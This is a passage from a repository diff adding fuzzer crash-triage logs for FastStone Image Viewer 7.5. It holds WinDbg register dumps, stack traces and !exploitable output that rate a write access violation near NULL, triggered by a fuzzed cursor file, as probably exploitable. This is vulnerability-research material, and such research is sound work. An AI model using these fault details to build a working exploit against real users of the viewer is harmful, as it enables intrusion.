00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(a98.39c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=07ce0fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.39738e-012 1.69084e-008 -6.19738e-025 -0.000209972 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00329000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00329000 8c44d113 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00329000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..b899029 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xA98: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xA98: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(a98.39c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07eb7b19 edx=00000000 esi=00000000 edi=07ce0fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.735417552236463200000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.39738e-012 1.69084e-008 -6.19738e-025 -0.000209972 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f98130 07f15930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00329000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00329000 8c44d113 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b3 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00329000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..2ce9805 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60783/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d15cde0 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..8133492 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/60826/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x128C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x128C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(128c.d7c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07de7b19 edx=00000000 esi=00000000 edi=07c02fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.698825805255558240000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.468036900000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 